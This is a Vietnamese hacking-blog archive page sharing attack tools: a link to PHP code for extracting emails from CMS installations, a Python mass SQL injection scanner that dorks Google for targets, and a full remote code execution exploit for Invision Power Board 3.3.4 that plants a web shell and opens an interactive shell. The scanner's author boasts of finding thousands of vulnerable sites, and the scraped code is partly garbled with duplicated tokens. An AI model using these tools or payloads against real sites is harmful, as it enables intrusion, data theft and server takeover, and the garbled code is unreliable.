Hiển thị các bài đăng có nhãn Code. Hiển thị tất cả bài đăng
Hiển thị các bài đăng có nhãn Code. Hiển thị tất cả bài đăng
17 thg 8, 2013
Share PHP code Extract Emails từ WordPress – Joomla – OpenCart – WHMCS
Ảnh Demo :
Link code:
http://pastebin.com/sVs9QNfq
Download code:
http://file.kzic.net/dl.php?dl=1376378647 Xem chi tiết »
16 thg 8, 2013
SQL Injection Scanner
I coded this long time ago, was the first tool I coded in python just to learn the language, it's not very complex but does a pretty good job anyway.Here's the code:
#!/usr/bin/python # Copyright (C) 2010 <xrrrx@ymail.com> # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>.
from multiprocessing import Process from xgoogle.search import GoogleSearch, SearchError
from itertools import count
import urllib2from itertools import count import urllib2, sys, argparse
global strSQLi
strSQLi
strSQLi = ["error in your SQL syntax", # GENERIC
"Syntax error at", # GENERIC
"You have an error in your SQL", # MYSQL
"Division by zero in", # MYSQL
"not a valid MySQL result", # MYSQL
"Call to a member function", # MYSQL
"Microsoft JET Database", # MSACCESS
"ODBC Microsoft Access Driver" # MSACCESS
"Microsoft OLE DB Provider for SQL Server", # MSSQL
"Unclosed quotation mark", # MSSQL
"Microsoft OLE DB Provider for Oracle", # ORACLE
"Macromedia][SQLServer JDBC Driver]"] # COLDFUSION
def split(alist, wanted_parts=1):
length = len(alist)
return [ return [ alist[i*length // wanted_parts: (i+1)*length // wanted_parts]
for i in range(wanted_parts) ]
def checkSQLi(results, i):
# test single quote
for result in results[i]:
try:
if( try: if(args.verbose>='2'):
print print "[INFO] Testing URL: %s" % result.url
if not "=" in result.url:
if( if(args.verbose>='2'):
print print "[INFO] No params available for injection for: %s" % result.url
continue
response = urllib2.urlopen(result.url.replace("=", "='"))
html = response.read()
except Exception, e:
if( if(args.verbose>='1'):
print print "[ERROR] %s" % e
continue
except KeyboardInterrupt:
return return False
else:
if( if(checkSQLiStr(html)):
print print "[INFO] URL: %s" % result.url
print " Possible vulnerable!"
else:
if( if(args.verbose>='1'):
print print "[INFO] URL: %s" % result.url
print " Not vulnerable."
return False
def checkSQLiStr
def checkSQLiStr(html):
return return any(checkStr in html for checkStr in strSQLi)
def main():
tries = 0
while True:
try:
if( try: if(args.verbose>='1' and tries > 0):
print print "[WARNING] (%d) Retrying google search query" % tries
if(tries>=args.retry):
if( if(args.verbose>='1'):
print print "[ERROR] Maximum retries reached..."
sys.exit()
else:
else: tries = tries + 1
googleSearch googleSearch = GoogleSearch(args.keyword)
googleSearch.page = args.page
googleSearch googleSearch.results_per_page = 100
print args.keyword
for i in count():
allResults = googleSearch.get_results()
if if not allResults: # no more results (pages) were found
break
splitResults = split(allResults, args.threads)
processes = [Process(target=checkSQLi, args=(splitResults,i)) for i in range(args.threads)]
if( if(args.verbose>='1'):
print print "[INFO] Starting %d threads..." % args.threads
for p in processes:
p.start()
for for p in processes:
p.join()
tries = 0
print "Finished..."
sys.exit()
# finished
except SearchError, e:
if( if(args.verbose>='2'):
print print "[ERROR] Search failed: %s" % e
continue
except KeyboardInterrupt:
print print "Suspended by user..."
sys.exit()
if
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument('-v', dest='verbose', default='0', help='Verbosity level', choices='012')
parser.add_argument('-p', dest='page', type=int, default='0', help='Start google search from page')
parser.add_argument('-s', dest='stop', type=int, default='5', help='Stop at -s page')
parser.add_argument('-r', dest='retry', type=int, default='4', help='Amount of times to retry after google search timeout')
parser.add_argument('-t', dest='threads', type=int, default='2', help='Threads for checking SQLi in query results')
group = parser.add_argument_group('required arguments')
group.add_argument('-k', dest='keyword', help='Keywords to use on google query', required=True)
args = parser.parse_args()
print print "Starting..."
main()
sys.exit()
Required libraries:
http://argparse.googlecode.com/svn/trunk/argparse.py https://github.com/pkrumins/xgoogle (this one needs fixes,you can fix it yourself or download this one http://www.mediafire.com/?7a175lzzipm3x3s)
Usage:
usage: scanner.py [-h] [-v {0,1,2}] [-p PAGE] [-s STOP] [-r RETRY]
[-[-t THREADS] -k KEYWORD
optional arguments
optional arguments:
--h, --help show this help message and exit
--v {0,1,2} Verbosity level -p PAGE Start google search from page -s STOP Stop at -s page -r RETRY Amount of times to retry after google search timeout -t THREADS Threads for checking SQLi in query results
Example
Example: ./scanner.py -k 'somekeyword inurl:"php?id="' -t 5 -v 1
xargs can be used to feed google dorks from a file.
It basically scrape results from google with the keyword you input and try test for sql injection. It only checks for error based injections with single quote triggers, the idea was to add more injection methods, more search engines and other features, but I never continued the development, it still gave me thousands of vulnerable targets.
So if someone would like to improve it or add some feature please share it.
+ Lưu File Đó dưới dạng đuôi python ( *.py ).Phải cài Python trước để sử dụng..
+ Có Readme Kèm Theo + Example
+ Site Lỗi Sẽ Được Lưu Dưới Dạng Txt nằm cùng thư mục python bạn chạy
Nguồn: VNCno1
It basically scrape results from google with the keyword you input and try test for sql injection. It only checks for error based injections with single quote triggers, the idea was to add more injection methods, more search engines and other features, but I never continued the development, it still gave me thousands of vulnerable targets.
So if someone would like to improve it or add some feature please share it.
+ Lưu File Đó dưới dạng đuôi python ( *.py ).Phải cài Python trước để sử dụng..
+ Có Readme Kèm Theo + Example
+ Site Lỗi Sẽ Được Lưu Dưới Dạng Txt nằm cùng thư mục python bạn chạy
Nguồn: VNCno1
1 thg 12, 2012
Invision Power Board <= 3.3.4 "unserialize()" PHP Code Execution
<?php /* ---------------------------------------------------------------- Invision Power Board <= 3.3.4 "unserialize()" PHP Code Execution ---------------------------------------------------------------- author..............: Egidio Romano aka EgiX mail................: n0b0d13s[at]gmail[dot]com software link.......:
http://www.invisionpower.com/ +-------------------------------------------------------------------------+ | This proof of concept code was written for educational purpose only. | | Use it at your own risk. Author will be not responsible for any damage. | +-------------------------------------------------------------------------+ [-] Vulnerable code in IPSCookie::get() method defined in /admin/sources/base/core.php 4015. static public function get($name) 4016. { 4017. // Check internal data first 4018. if ( isset( self::$_cookiesSet[ $name ] ) ) 4019. { 4020. return self::$_cookiesSet[ $name ]; 4021. } 4022. else if ( isset( $_COOKIE[ipsRegistry::$settings['cookie_id'].$name] ) ) 4023. { 4024. $_value = $_COOKIE[ ipsRegistry::$settings['cookie_id'].$name ]; 4025. 4026. if ( substr( $_value, 0, 2 ) == 'a:' ) 4027. { 4028. return unserialize( stripslashes( urldecode( $_value ) ) ); 4029. } The vulnerability is caused due to this method unserialize user input passed through cookies without a proper sanitization. The only one check is done at line 4026, where is controlled that the serialized string starts with 'a:', but this is not sufficient to prevent a "PHP Object Injection" because an attacker may send a serialized string which represents an array of objects. This can be exploited to execute arbitrary PHP code via the "__destruct()" method of the "dbMain" class, which calls the "writeDebugLog" method to write debug info into a file. PHP code may be injected only through the $_SERVER['QUERY_STRING'] variable, for this reason successful exploitation of this vulnerability requires short_open_tag to be enabled. [-] Disclosure timeline: [21/10/2012] - Vulnerability discovered [23/10/2012] - Vendor notified [25/10/2012] - Patch released: http://community.invisionpower.com/t...ecurity-update [25/10/2012] - CVE number requested [29/10/2012] - Assigned CVE-2012-5692 [31/10/2012] - Public disclosure */ error_reporting(0); set_time_limit(0); ini_set('default_socket_timeout', 5); function http_send($host, $packet) { if (!($sock = fsockopen($host, 80))) die("\n[-] No response from {$host}:80\n"); fputs($sock, $packet); return stream_get_contents($sock); } print "\n+---------------------------------------------------------------------+"; print "\n| Invision Power Board <= 3.3.4 Remote Code Execution Exploit by EgiX |"; print "\n+---------------------------------------------------------------------+\n"; if ($argc < 3) { print "\nUsage......: php $argv[0] <host> <path>\n"; print "\nExample....: php $argv[0] localhost /"; print "\nExample....: php $argv[0] localhost /ipb/\n"; die(); } list($host, $path) = array($argv[1], $argv[2]); $packet = "GET {$path}index.php HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Connection: close\r\n\r\n"; $_prefix = preg_match('/Cookie: (.+)session/', http_send($host, $packet), $m) ? $m[1] : ''; class db_driver_mysql { public $obj = array('use_debug_log' => 1, 'debug_log' => 'cache/sh.php'); } $payload = urlencode(serialize(array(new db_driver_mysql))); $phpcode = '<?error_reporting(0);print(___);passthru(base64_d ecode($_SERVER[HTTP_CMD]));die;?>'; $packet = "GET {$path}index.php?{$phpcode} HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Cookie: {$_prefix}member_id={$payload}\r\n"; $packet .= "Connection: close\r\n\r\n"; http_send($host, $packet); $packet = "GET {$path}cache/sh.php HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Cmd: %s\r\n"; $packet .= "Connection: close\r\n\r\n"; if (preg_match('/<\?error/', http_send($host, $packet))) die("\n[-] short_open_tag disabled!\n"); while(1) { print "\nipb-shell# "; if (($cmd = trim(fgets(STDIN))) == "exit") break; $response = http_send($host, sprintf($packet, base64_encode($cmd))); preg_match('/___(.*)/s', $response, $m) ? print $m[1] : die("\n[-] Exploit failed!\n"); }
Xem chi tiết »
